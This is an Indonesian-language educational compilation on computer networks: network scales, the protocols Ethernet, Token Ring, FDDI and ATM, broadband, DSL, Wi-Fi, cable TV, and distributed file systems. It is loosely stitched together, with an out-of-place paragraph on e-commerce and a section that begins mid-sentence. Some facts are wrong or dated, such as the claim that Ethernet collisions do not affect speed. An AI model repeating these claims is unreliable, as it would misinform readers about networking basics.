Sebuah Jaringan Area Lokal, adalah jaringan yang dibatasi oleh area yang relatif kecil, umumnya dibatasi oleh area lingkungan seperti sebuah perkantoran di sebuah gedung, atau sebuah sekolah, dan biasanya tidak jauh dari sekitar 1 km persegi. Beberapa model konfigurasi Jaringan Area Lokal, satu komputer biasanya di jadikan sebuah file server. Yang mana digunakan untuk menyimpan perangkat lunak yang mengatur aktivitas jaringan, ataupun sebagai perangkat lunak yang dapat digunakan oleh komputer komputer yang terhubung ke dalam network Komputer-komputer yang terhubung ke dalam jaringan itu Biasanya disebut dengan workstation. Biasanya kemampuan workstation lebih di bawah dari file server dan mempunyai aplikasi lain di dalam harddisknya selain aplikasi untuk jaringan. Kebanyakan Jaringan Area Lokal menggunakan media kabel untuk menghubungkan antara satu komputer dengan komputer lainnya.

Jaringan area Metropolitan

Sebuah Jaringan area Metropolitan, biasanya meliputi area yang lebih besar dari Jaringan Area Lokal, misalnya antarwilayah dalam satu provinsi. Dalam hal ini jaringan menghubungkan beberapa buah jaringan-jaringan kecil ke dalam lingkungan area yang lebih besar, sebagai contoh yaitu: jaringan bank ketika beberapa kantor cabang sebuah bank di dalam sebuah kota besar dihubungkan antara satu dengan lainnya. Misalnya BCA yang ada di seluruh wilayah Malang atau Jakarta.

Jaringan area Skala Besar

Jaringan area Skala Besar adalah jaringan yang lingkupnya biasanya sudah menggunakan sarana Satelit ataupun kabel bawah laut sebagai contoh keseluruhan jaringan BANK BCA yang ada di Indonesia ataupun yang ada di Negara-negara lain. Menggunakan sarana Jaringan area Skala Besar, Sebuah Bank yang ada di Bandung bisa menghubungi kantor cabangnya yang ada di Hongkong, hanya dalam beberapa menit. Biasanya Jaringan area Skala Besar agak rumit dan sangat kompleks, menggunakan banyak sarana untuk menghubungkan antara Jaringan Area Lokal dan Jaringan area Skala Besar ke dalam Komunikasi Global seperti Internet. Tapi bagaimanapun juga antara Jaringan Area Lokal, Jaringan area Metropolitan dan Jaringan area Skala Besar tidak banyak berbeda dalam beberapa hal, hanya lingkup areanya saja yang berbeda satu di antara yang lainnya.

Protokol

Protokol adalah aturan-aturan main yang mengatur komunikasi di antara beberapa komputer di dalam sebuah jaringan, aturan itu termasuk di dalamnya petunjuk yang berlaku bagi cara-cara atau metode mengakses sebuah jaringan, topologi fisik, tipe-tipe kabel dan kecepatan transfer data.
Protokol-Protokol yang dikenal adalah sebagai berikut:
  1. Ethernet
  2. Local Talk
  3. Token Ring
  4. FDDI
  5. ATM

Ethernet

Protocol Ethernet sejauh ini adalah yang paling banyak digunakan, Ethernet menggunakan metode akses yang disebut CSMA/CD (Carrier Sense Multiple Access/Collision Detection). Sistem ini menjelaskan bahwa setiap komputer memperhatikan ke dalam kabel dari network sebelum mengirimkan sesuatu ke dalamnya. Jika dalam jaringan tidak ada aktivitas atau bersih komputer akan mentransmisikan data, jika ada transmisi lain di dalam kabel, komputer akan menunggu dan akan mencoba kembali transmisi jika jaringan telah bersih. kadangkala dua buah komputer melakukan transmisi pada saat yang sama, ketika hal ini terjadi, masing-masing komputer akan mundur dan akan menunggu kesempatan secara acak untuk mentransmisikan data kembali. metode ini dikenal dengan koalisi, dan tidak akan berpengaruh pada kecepatan transmisi dari network.
Protokol Ethernet dapat digunakan untuk pada model jaringan Garis lurus , Bintang, atau Pohon . Data dapat ditransmisikan melewati kabel twisted pair, koaksial, ataupun kabel fiber optic pada kecepatan 10 Mbps

LocalTalk

LocalTalk adalah sebuh protokol network yang di kembangkan oleh Apple Computer, Inc. untuk mesin-mesin komputer Macintosh . Metode yang digunakan oleh LocalTalk adalah CSMA/CA (Carrier Sense Multiple Access with Collision Avoidance). Hampir sama dengan CSMA/CD.. Adapter LocalTalk dan cable twisted pair khusus dapat digunakan untuk menghubungkan beberapa komputer melewati port serial. Sistem Operasi Macintosh memungkinkan koneksi secara jaringan peer-to-peer tanpa membutuhkan tambahan aplikasi khusus. Protokol LocalTalk dapat digunakan untuk model jaringan Garis Lurus ,Bintang , ataupun model Pohon dengan menggunakan kabel twisted pair . Kekurangan yang paling mencolok yaitu kecepatan transmisinya. Kecepatan transmisinya hanya 230 Kbps.

Token Ring

Protokol Token di kembangkan oleh IBM pada pertengahan tahun 1980. Metode Aksesnya melalui lewatnya sebuah token dalam sebuah lingkaran seperti Cincin . Dalam lingkaran token, komputer-komputer dihubungkan satu dengan yang lainnya seperti sebuah cincin. Sebuah Sinyal token bergerak berputar dalam sebuah lingkaran (cincin) dalam sebuah jaringan dan bergerak dari sebuah komputer-menuju ke komputer berikutnya, jika pada persinggahan di salah satu komputer ternyata ada data yang ingin ditransmisikan, token akan mengangkutnya ke tempat dimana data itu ingin ditujukan, token bergerak terus untuk saling mengkoneksikan di antara masing-masing komputer. Protokol Token Ring membutuhkan model jaringan Bintang dengan menggunakan kabel twisted pair atau kabel fiber optic . Dan dapat melakukan kecepatan transmisi 4 Mbps atau 16 Mbps. Sejalan dengan perkembangan Ethernet, penggunaan Token Ring makin berkurang sampai sekarang.

FDDI

Fiber Distributed Data Interface (FDDI) adalah sebuah Protokol jaringan yang menghubungkan antara dua atau lebih jaringan bahkan pada jarak yang jauh. Metode aksesnyayang digunakan oleh FDDI adalah model token. FDDI menggunakan dua buah topologi ring secara fisik. Proses transmisi baiasanya menggunakan satu buah ring, namun jika ada masalah ditemukan akan secara otomatis menggunakan ring yang kedua. menggunakan fiber optic cable pada kecepatan 100 Mbps.

ATM

ATM adalah singkatan dari Asynchronous Transfer Mode ATM yaitu sebuah protokol jaringan yang mentransmisikan pada kecepatan 155 Mbps atau lebih. ATM mentarnsmisikan data kedalam satu paket dimana pada protokol yang lain mentransfer pada besar-kecilnya paket. ATM mendukung variasi media seperti video, CD-audio, dan gambar. ATM bekerja pada model topologi Bintang, dengan menggunakan Kabel fiber optic ataupun kabel twisted pair. ATM pada umumnya digunakan untuk menghubungkan dua atau lebih Jaringan Area Lokal . dia juga banyak dipakai oleh Internet Service Providers (ISP) untuk meningkatkan kecepatan akses Internet untuk klien mereka.

Pengguna

Pada akhirnya, terserah kepada Anda, pengguna, untuk menentukan berapa banyak e-commerce Anda benar-benar akan bersedia menerima. Pengguna mulai mendapatkan frustrasi. Sebuah studi Pew Internet baru-baru ini mencatat bahwa pengguna mendapatkan prihatin tentang konektivitas dalam hidup mereka. Hampir 50% dari mereka yang merespon mencatat bahwa mereka menggunakan komunikasi teknologi hemat, dan hanya karena mereka harus (Horrigan, 2007). Hanya sekitar 10% mengatakan bahwa mereka menikmati menggunakan teknologi komunikasi dan semua fitur-fiturnya. Itu berarti bahwa semakin banyak kita miliki di ujung jari kita, yang lebih merisaukan dan rumit ini bisa menjadi kita selalu "on." Dari perspektif global, segmen baru populasi dunia datang online. Pada awal 2008, Cina menjadi negara terbaik di dunia dalam hal jumlah pengguna internet, mengalahkan Amerika Serikat (MacLeod, 2008). Sementara Amerika Serikat masih memiliki persentasenya populasi online lebih tinggi.

Jaringan Lokal dan Broadband

Jalur lebar atau pita lebar merupakan sebuah istilah dalam internet yang merupakan koneksi internet transmisi data kecepatan tinggi. Ada dua jenis jalur lebar yang umum, yaitu DSL dan kabel modem, yang mampu mentransfer 512 kbps atau lebih, kira-kira 9 kali lebih cepat dari modem yang menggunakan kabel telepon standar.
Akses internet jalur lebar menjadi pasar yang tumbuh dengan cepat dalam banyak bidang di awal 2000-an; satu penelitian menemukan bahwa penggunaan internet jalur lebar di Amerika Serikat tumbuh dari 6% pada Juni 2000 ke nyaris 30% pada 2003. Beberapa implementasi modern dari jalur lebar telah mencapai 20 Mbit/detik, beberapa ratus kali lebih cepat dari yang ada pada awal internet dan biayanya juga lebih murah; meskipun begitu biaya dan performa bervariasi di berbagai negara. Jalur lebar sering dipanggil internet kecepatan-tinggi, karena biasanya memiliki kecepatan aliran data yang tinggi. Umumnya, hubungan ke pelanggan dengan kecepatan 256 kbit/d (0,256Mbit/d) atau lebih dianggap sebagai internet jalur lebar. International Telecommunication Union Sektor Standarisasi (ITU-T) rekomendasi I.113 mendefinisikan jalur lebar sebagai kapasitas pengiriman yang lebih cepat dari kecepatan utama ISDN pada 1,5 sampai 2 Mbit/d. Definisi FCC dari broadband sekitar 200 kbit/d dalam satu arah, dan jalur lebar canggih paling tidak 200 kbit/d dalam dua arah. OECD mendefinisikan jalur lebar sebagai 256 kbit/d dalam paling tidak satu arah dan kecepatan ini yang paling diterima di seluruh dunia.
Dalam praktek, jalur yang diiklankan tidak selalu tersedia bagi pelanggan; ISP seringkali memiliki jumlah pelanggan yang lebih banyak dari hubungan yang bisa ditangani, dengan anggapan bahwa seluruh pelanggan tidak menggunakan internet dengan kapasitas penuh dalam waktu yang sama. Strategi ini dapat diterima, namun dengan berkembangnya sistem peer to peer file sharing, seringkali membuat masalah bagi ISP yang memiliki pelanggan lebih dari kapasitas peralatan mereka.
Karena lebar jalur yang diberikan kepada pelanggan terus meningkat, pasar dapat mengharapkan bahwa pelayanan video on demand dapat disalurkan melalui internet akan menjadi semakin populer, meskipun begitu saat ini pelayanan tersebut masih membutuhkan jaringan yang khusus. Kecepatan data dalam kebanyakan jasa jalur lebar masih tidak mencukupi untuk menyediakan video berkualitas bagus, karena MPEG-2 masih membutuhkan 6 Mbit/d untuk hasil yang bagus. Format MPEG-4 menghantarkan video kualitas-tinggi pada 2 Mbit/d, di penghujung akhir kemampuan modem kabel dan ADSL sekarang ini. Format Ogg Tarkin diharapkan dapat menghantarkan performa yang setanding.
Mungkin terpikir bahwa semua hal yang orang menikmati melakukan di Internet: bermain game, menonton video, perdagangan foto, berbicara di telepon, dan surfing di Web. Pikirkan tentang bagaimana kita menggunakan internet sehari-hari: kerja, perdagangan, hiburan, dll. Sambungan Internet yang cepat memungkinkan kegiatan ini untuk beroperasi lancar, memiliki kompleksitas yang lebih dan fitur, dan hanya menjadi lebih menyenangkan. Sebuah jaringan broadband memungkinkan Internet digunakan untuk mengakses layanan dan konten melalui Internet pada kecepatan cepat
Komisi Komunikasi Federal (FCC) didefinisikan sebagai jaringan broadband dengan kecepatan lebih dari 200 Kb/s (kilobit per detik) sampai Maret 2008, ketika mereka akhirnya berubah definisi untuk kecepatan di atas 768 Kb/s (FCC, n.d.; Broache, 2008). Pada kenyataannya, pengguna Internet broadband saat ini menikmati kecepatan mulai dari 1,5 Mb/s (Megabits per detik) ke lebih dari 100 Mb/s. Memiliki koneksi internet broadband membuka pengguna sampai berbagai layanan canggih seperti VoIP (voice over Internet Protocol) dan IPTV (Internet protokol televisi).
Selain itu, koneksi internet broadband adalah always-on, akses informasi yang cepat dan alat berbagi. Banyak kegiatan baru yang telah dibahas dalam buku ini tidak akan mungkin tanpa jaringan broadband. Misalnya, ledakan user generated content dan game online tidak akan seperti sekarang tanpa broadband.
Setelah Anda memiliki akses internet broadband, maka pertanyaan menjadi cara terbaik untuk menggunakan sumber daya. Teknologi jaringan Home memungkinkan pengguna untuk mengambil keuntungan dari itu koneksi broadband, dengan beberapa komputer menggunakan koneksi broadband yang sama pada waktu yang sama. Jaringan asal memungkinkan untuk berbagi sumber daya seperti berbagi printer. Hal ini juga memungkinkan pengguna untuk memindahkan konten digital di seluruh rumah. Misalnya, dengan jaringan rumah, Anda dapat memindahkan video dari PC ke televisi Anda atau memindahkan file musik dari audio digital pemain ke penerima rumah. Salah satu penggerak utama di belakang jaringan rumah adalah peningkatan akses broadband ke rumah. Seperti tahun 2007, lebih dari setengah dari rumah AS broadband dengan kecepatan rata-rata 4,8 Mb/s (OCED, 2008). Lainnya kelompok memasukkan nomor yang lebih tinggi, bahkan sampai 81,8% (broadband OECD, 2007)! Mengukur broadband di Amerika Serikat sulit sebagian karena definisi pemerintah AS resmi hanya 768 Kb/s, sedangkan International Telecommunication Union mendefinisikan broadband sebesar 1,5 Mb/s menjadi 2,0 Mb/s (ITU, 2003).
Perangkat kunci dalam jaringan kebanyakan rumah adalah pintu gerbang perumahan, kadang-kadang dikenal sebagai router. Ini adalah perangkat yang interkoneksi semua komputer dan perangkat lain yang menggunakan IP (Internet protokol) data stream untuk membuat jaringan rumah, pada gilirannya menghubungkan jaringan ke luar dan koneksi broadband yang memungkinkan berbeda aliran informasi yang akan disalurkan cerdas di seluruh rumah. Kemampuan routing apapun tipe arus data ke set-top box, telepon, dan perangkat lain pada akhirnya akan memungkinkan audio, video, dan telepon sinyal yang akan didistribusikan ke seluruh rumah dengan cara yang sama sebagai data komputer stream dialihkan.

DSL

[[DSL] Digital Subscriber Line adalah satu set teknologi yang menyediakan penghantar data digital melewati kabel yang digunakan dalam jarak dekat dari jaringan teleponsetempat. Biasanya kecepatan downolad dari DSL berkisar dari 128 kbit/d sampai 24.000 kb/d tergantung dari teknologi DSL tersebut. Kecepatan upload lebih rendah dari download untuk ADSLdan sama cepat untuk SDSL. Banyak teknologi DSL menggunakan sebuah lapisan ATM agar dapat beradaptasi dengan sejumlah teknologi yang berbeda. Implementasi DSL dapat menciptakan jaringan jembatan atau routed. Dalam konfigurasi jembatan, kelompok komputer pengguna terhubungkan ke subnet tunggal. Implementasi awal menggunakan DHCP untuk menyediakan detail jaringan seperti alamat IP kepada peralatan pengguna, dengan authentication melalui alamat MAC atau memberikan nama host. Kemudian implementasi seringkali menggunakan PPP melalui Ethernet atau ATM (PPPoE atau PPPoA). DSL juga memiliki rasio contention yang layak dipertimbangkan pada saat memilih teknologi jalur lebar.

Wireless dan Wi-Fi

Wi-Fi merupakan kependekan dari Wireless Fidelity, yang memiliki pengertian yaitu sekumpulan standar yang digunakan untuk Jaringan Lokal Nirkabel (Wireless Local Area Networks - WLAN) yang didasari pada spesifikasi IEEE 802.11. Standar terbaru dari spesifikasi 802.11a atau b, seperti 802.11 g, saat ini sedang dalam penyusunan, spesifikasi terbaru tersebut menawarkan banyak peningkatan mulai dari luas cakupan yang lebih jauh hingga kecepatan transfernya Awalnya Wi-Fi ditujukan untuk penggunaan perangkat nirkabel dan Jaringan Area Lokal, namun saat ini lebih banyak digunakan untuk mengakses internet. Hal ini memungkinan seseorang dengan komputer dengan kartu nirkabel wireless card atau personal digital assistant (PDA) untuk terhubung dengan internet dengan menggunakan titik akses (atau dikenal dengan hotspot) terdekat.

Televisi Kabel

Televisi kabel atau cable television adalah sistem penyiaran acara televisi lewat sinyal frekuensi radio yang ditransmisikan melalui serat optik yang tetap atau kabel coaxial dan bukan lewat udara seperti siaran televisi biasa yang harus ditangkap antena (over-the-air). Selain acara televisi, acara radio FM, internet, dan telepon juga dapat disampaikan lewat kabel. Sistem ini banyak dijumpai di Amerika Utara, Eropa, Australia, Asia Timur, Amerika Selatan, danTimur Tengah. Televisi kabel kurang berhasil di Afrika karena kepadatan penduduk yang rendah di berbagai daerah. Seperti halnya radio, frekuensi yang berbeda digunakan untuk menyebarkan banyak saluran lewat satu kabel. Sebuah kotak penerima digunakan untuk memilih satu saluran televisi. Sistem televisi kabel modern sekarang menggunakan teknologi digital untuk menyiarkan lebih banyak saluran televisi daripada sistem analog.

Jaringan Lokal

Jaringan lokal nirkabel atau WLAN adalah suatu jaringan area lokal nirkabel yang menggunakan gelombang radio sebagai media tranmisinya: link terakhir yang digunakan adalah nirkabel, untuk memberi sebuah koneksi jaringan ke seluruh pengguna dalam area sekitar. Area dapat berjarak dari ruangan tunggal ke seluruh kampus. Tulang punggung jaringan biasanya menggunakan kable, dengan satu atau lebih titik akses jaringan menyambungkan pengguna nirkabel ke jaringan berkabel.
Jaringan Area Lokal nirkabel adalah suatu jaringan nirkabel yang menggunakan frekuensi radio untuk komunikasi antara perangkat komputer dan akhirnya titik akses yang merupakan dasar dari transiver radio dua arah yang tipikalnya bekerja di bandwith 2,4 GHz (802.11b, 802.11g) atau 5 GHz (802.11a). Kebanyakan peralatan mempunyai kualifikasi Wi-Fi, IEEE 802.11b atau akomodasi IEEE 802.11g dan menawarkan beberapa level keamanan seperti WEP dan atau WPA.

Jaringan Rumah

Jaringan Komputer pernah dianggap domain eksklusif dari kantor atau lembaga, bukan rumah atau ruang publik. Beberapa faktor yang mengubah lingkungan untuk memungkinkan jaringan rumah untuk lepas landas. Akses internet broadband, beberapa komputern rumah tangga, dan perangkat konsumen baru jaringan dan layanan. Mayor digunakan untuk rumah jaringan termasuk berbagi Sumber daya, komunikasi, kontrolrumah, penjadwalan, dan hiburan. Berbagi satu koneksi broadband dan peripheral komputer di dalam rumahmerupakan contoh berbagi sumber daya.

Kesimpulan

Jaringan komputer adalah sebuah kumpulan komputer, printer, dan peralatan lainnya yang terhubung. Informasi dan data bergerak melalui kabel-kabel sehingga memungkinkan pengguna jaringan komputer dapat saling bertukar dokumen dan data, mencetak pada printer yang sama dan bersama-sama menggunakan hardware/software yang terhubung dengan jaringan. Dalam tiap computer yang saling berhubungan akan saling membuat jaringan dan tiap computer yang saling berhubungan akan menjadikan suatu jaringan yang saling terhubung. Pengembangan jaringan computer telah banyak ada dan terjadi dengan signifikan. Banyak perusahaan besar telah menggunakan aplikasi ini. Salah satunya dipakai dalam e-commerce. Dalam penggunaannya, telah dipakai dimana-mana bahkan e-commerce telah identik dengan jaringan. Hingga banyak produsen yg telah menggunakan jaringan tersebut, salah satunya seperti iTunes. Protokol adalah aturan-aturan main yang mengatur komunikasi di antara beberapa komputer di dalam sebuah jaringan, aturan itu termasuk di dalamnya petunjuk yang berlaku bagi cara-cara atau metode mengakses sebuah jaringan, topologi fisik, tipe-tipe kabel dan kecepatan transfer data.
Jalur lebar atau pita lebar (bahasa Inggris: broadband) merupakan sebuah istilah dalam internet yang merupakan koneksi internet transmisi data kecepatan tinggi. Ada dua jenis jalur lebar yang umum, yaitu DSL dan kabel modem, yang mampu mentransfer 512 kbps atau lebih, kira-kira 9 kali lebih cepat dari modem yang menggunakan kabel telepon standar.
Hingga saat ini, perkembangan Jalur lebar jika diukur telah mengalami perkembangan yang cukup pesat. Penggunaan Jalur lebar hampir telah dimiliki oleh banyak perusahaan besar dan telah dipakai dengan berlangsung lama. Hingga dalam pengiriman data dan kapasitasnya pun telah menjadi semakin besar, bahkan jalur Jalur lebar ini telah mengalami banyak modifikasi karena perkembangan teknologi dengan banyaknya kebutuhan yang diperlukan. Jadi perkembangan yang usdah sangat pesat ini membuat semua hal menjadi tampak lebih mudah dan gampang. Tidak hanya internet atau jejaring sosial saja yang ada di berbagai tempat umum, tetapi wi-fi juga sudah ada ditempat umum sepert mall atau pun taman-taman yang sering buat anak muda atau anak remaja bermain. Perkembangan dari jaringan yaitu dengan adanya Wi-Fi. Wi-Fi yaitu merupakan suatu jaringan web atau dapat digunakan internet atau jaringan lainnya tanpa adanya kabel yang terpasang. Dengan adanya gelombang dan sinyal serta adanya jaringan yang tertangkap dan tersedia maka Wi-Fi ini dapat digunakan.
Televisi kabel pun sudah banyak orang yang menggunakannya, dulu sangat jarang sekali orang-orang untuk memasang televisi kkabel tapi sekarang karena perkembangan yang sudah sangat ppesat maka semua otang tidak mau ketinggalan untuk memasang televisi kabel dirumahnya, bahkan tidak hanya rumah saja yang dapat memasng televisi kabel tetap di restaurant dan tempat kos-kosan sudah memasang televisi kabel. Televisi kabel atau cable television adalah sistem penyiaran acara televisi lewat sinyal frekuensi radio yang ditransmisikan melalui serat optik yang tetap atau kabel coaxial dan bukan lewat udara seperti siaran televisi biasa yang harus ditangkap antena. Selain acara televisi, acara radio FM, internet, dan telepon juga dapat disampaikan lewat kabel.





Sistem Terdistribusi



            Sistem distribusi adalah sebuah sistem yang komponennya berada pada jaringan komputer. Komponen tersebut saling berkomunikasi dan melakukan koordinasi hanya dengan pengiriman pesan (message passing).
Sistem terdistribusi merupakan kebalikan dari Sistem Operasi Prosesor Jamak. Pada sistem tersebut, setiap prosesor memiliki memori lokal tersendiri. Kumpulan prosesornya saling berinteraksi melalui saluran komunikasi seperti LAN dan WAN menggunakan protokol standar seperti TCP/IP. Karena saling berkomunikasi, kumpulan prosesor tersebut mampu saling berbagi beban kerja, data, serta sumber daya lainnya.
Sistem terdistribusi dapat dikatakan sebagai suatu keberadaan beberapa komputer yang bersifat transparan dan secara normal, setiap sistem terdistribusi mengandalkan layanan yang disediakan oleh jaringan komputer.
Dalam penggunaanya sistem terdistribusi sangat diperlukan karena:

-Performance
Sekumpulan prosesor dapat menyediakan kinerja yang lebih tinggi daripada komputer yang terpusat

- Distribution
Banyak aplikasi yang terlibat, sehingga lebih baik jika dipisah dalam mesin yang berbeda (contoh: aplikasi perbankan, komersial)

-Reliability
Jika terjadi kerusakan pada salah satu mesin, tidak akan mempengaruhi kinerja system secara keseluruhan

-Incremental Growth
Mesin baru dapat ditambahkan jika kebutuhan proses meningkat

-Sharing Data/Resource
Resource adalah:
– Segala hal yang dapat digunakan bersama dalam jaringan komputer.
– Meliputi hardware (e.g. disk, printer, scanner), juga software (berkas, basis data, obyek data).
-Communication
Menyediakan fasilitas komunikasi antar manusia.


file  sistem  yang  mendukung  sharing  files  dan
resources dalam bentuk penyimpanan persistent di sebuah network. File server pertama kali
didevelop pada  tahun 1970 dan Sun NFS (Network File System) menjadi DFS pertama yang
banyak digunakan setelah awal pemunculannya di tahun 1985. DFS yang terkenal selain NFS
adalah AFS (Andrew File System) dan CIFS (Common Internet File System).


Sebuah file server menyediakan file service ke client. Dari sisi client terdapat interface
untuk  file  service  dalam hal  operasi  primitif  file,  seperti membuat  file  (create), menghapus
(delete)  dan  read  /  write  file.  Komponen  perangkat  keras  utama  yang  mana  file  server
mengontrolnya  adalah  sebuah  local  storage  (umumnya  disk  drive  / HDD). Ditempat  itulah
file-file  tersimpan  dan  dari  tempat  tersebut  request  client meretrive  file.  Pada DFS  client,
server dan juga perangkat penyimpanan merupakan mesin terpisah dalam sebuah lingkungan
terdistribusi  (Intranet).  Jadi,  aktifitas  layanan  (service) dibawa melewati  jaringan  (network),
jadi  selain  sistem  memiliki  satu  data  terpusat,  sistem  memiliki  beberapa  perangkat
penyimpanan independent. Konfigurasi konkret dan juga implementasi dari sebuah DFS dapat
beragam bentuknya. Dalam beberapa konfigurasi, server berjalan sebagai dedicated machine
(layanan terpusat) atau juga menjadi server dan client. DFS dapat diimplementasikan sebagai
bagian  dari  Sistem  Operasi  Terdistribusi  dengan  sebuah  layer  software  yang  tugasnya
mengatur komunikasi antara sistem operasi konvensional dan file system. 
Parameter untuk mancapai DFS adalah transparansi. Secara ideal, DFS terlihat sebagai
bentuk  file  system  terpusat,  faktor  keseragaman  (multiplicity)  dan  penyebaran  server  serta
perangkat  penyimpanan  tidak  terlihat  oleh  user.  Oleh  karena  itu  interface  client  yang
digunakan  program  tidak  akan  membedakan  antara  file  local  dan  remote.  Semuanya
tergantung dari implementator DFS untuk mengalokasikan file-file dan menyusun transportasi

data.  Kelebihan  lain  dari  DFS  adalah  peningkatan  performa.  Yang  menjadi  tolak  ukur
pengukuran performa DFS adalah waktu yang dibutuhkan untuk merespon request layanan.
Saling berbagi media penyimpanan informasi sudah menjadi sesuatu hal yang penting
dalam resource sharing. Desain service file terdistribusi yang baik adalah menyediakan akses
distribusi file dengan performansi dan realibilitas yang sama atau lebih baik dari penyimpanan
file-file dalam disk local dalam bentuk transparent.
Desain  skala  besar  dari  proses  sistem  penyimpanan  baca  tulis  file  pada  wide  area
menimbulkan masalah  pada  load  balancing,  reliabilitas,  avaibility  dan  security.  File  sistem
yang  terdistribusi  mengemulasikan  fungsionalitas  dari  file  sistem  tak  terdistribusi  untuk
program  client  yang  berjalan  pada  komputer  remote.  File  sistem  terdistribusi  juga
menyediakan  hal-hal  pokok  untuk  pengorganisasian  komputer  yang  berbasiskan  jaringan
intranet.


Pengenalan File Service
File  service  adalah  suatu  perincian  atau  pelayanan  dari  file  system  yang  ditawarka
pada komputer client. Suatu file server adalah implementasi dari file service dan berjalan pada
satu  atau  lebih  mesin.  File  itu  sendiri  berisi  dari  nama,  data  dan  atribut  file  seperti
kepemilikan  file,  ukuran, waktu  pembuatan  file  dan  hak  akses  file.  File  sistem merupakan
mekanisme penyimpanan on-line  serta untuk akses, baik data maupun program yang berada
dalam sistem operasi. 
Karakteristik dari File System
File  Sistem  adalah  bertanggung  jawab  untuk  pengorganisasian,  penyimpanan,
pencarian  keterangan,  penamaan,  sharing  atau  pembagian  dan  protection  atau  perlindungan
dari  file-file. File berisi dari dua bagian penting yaitu data dan  atribut. File  sistem didesain
untuk  menyimpan  dan  mengatur  banyak  dan  besar  file  dengan  fasilitas  untuk  membuat,
memberi nama dan menghapus file. File system juga bertanggung  jawab untuk pengontrolan
dari  akses  file,  akses  terbatas  ke  file  oleh  user  yang  berhak  dan  tipe-tipe  dari  akses  yang
diminta.

- Operasi pada file (=data + atribut)
Create / delete
Query / Modifikasi Atribut 


Open / Close
Read / Write
Akses Kontrol
- Organisasi penyimpanan
Struktur direktori (hirarki, pathname)
Metadata (pengaturan informasi file) : atribut file, informasi struktur direktori,
dll 
Atribut File
File  adalah  kumpulan  informasi  berkait  yang  diberi  nama  dan  direkam  pada
penyimpanan sekunder. Atribut file terdir dari :
1.  Nama 
Merupakan  satu-satunya  informasi  yang  tetap  dalam  bentuk  yang  bisa  dibaca  oleh
manusia (human readable form)
2.  Type
Dibutuhkan untuk sistem yang mendukung beberapa tipe berbeda
3.  Lokasi
Merupakan pointer atau penunjuk ke device dan lokasi file pada device tersebut berada